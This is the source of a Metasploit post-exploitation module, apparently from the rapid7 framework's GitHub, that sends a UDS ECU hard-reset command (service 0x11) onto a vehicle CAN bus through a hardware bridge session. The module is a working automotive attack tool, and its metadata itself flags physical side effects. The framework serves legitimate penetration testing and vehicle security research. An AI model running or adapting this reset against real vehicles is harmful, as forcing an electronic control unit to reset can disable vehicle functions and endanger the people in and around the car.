Path: blob/master/modules/post/hardware/automotive/ecu_hard_reset.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6def initialize(info = {})7super(8update_info(9info,10'Name' => 'ECU Hard Reset',11'Description' => 'This module performs hard reset in the ECU Reset Service Identifier (0x11).',12'License' => MSF_LICENSE,13'Author' => ['Jay Turla'],14'Platform' => ['hardware'],15'SessionTypes' => ['hwbridge'],16'Notes' => {17'Stability' => [ CRASH_SERVICE_RESTARTS ],18'SideEffects' => [ PHYSICAL_EFFECTS ],19'Reliability' => [ ]20}21)22)23register_options([24OptString.new('ARBID', [false, 'CAN ID to perform ECU Hard Reset', '0x7DF']),25OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])26])27end2829def run30unless client.automotive31print_error('The hwbridge requires a functional automotive extention')32return33end34print_status('Performing ECU Hard Reset...')35client.automotive.cansend(datastore['CANBUS'], datastore['ARBID'], '0211010000000000')36end3738end394041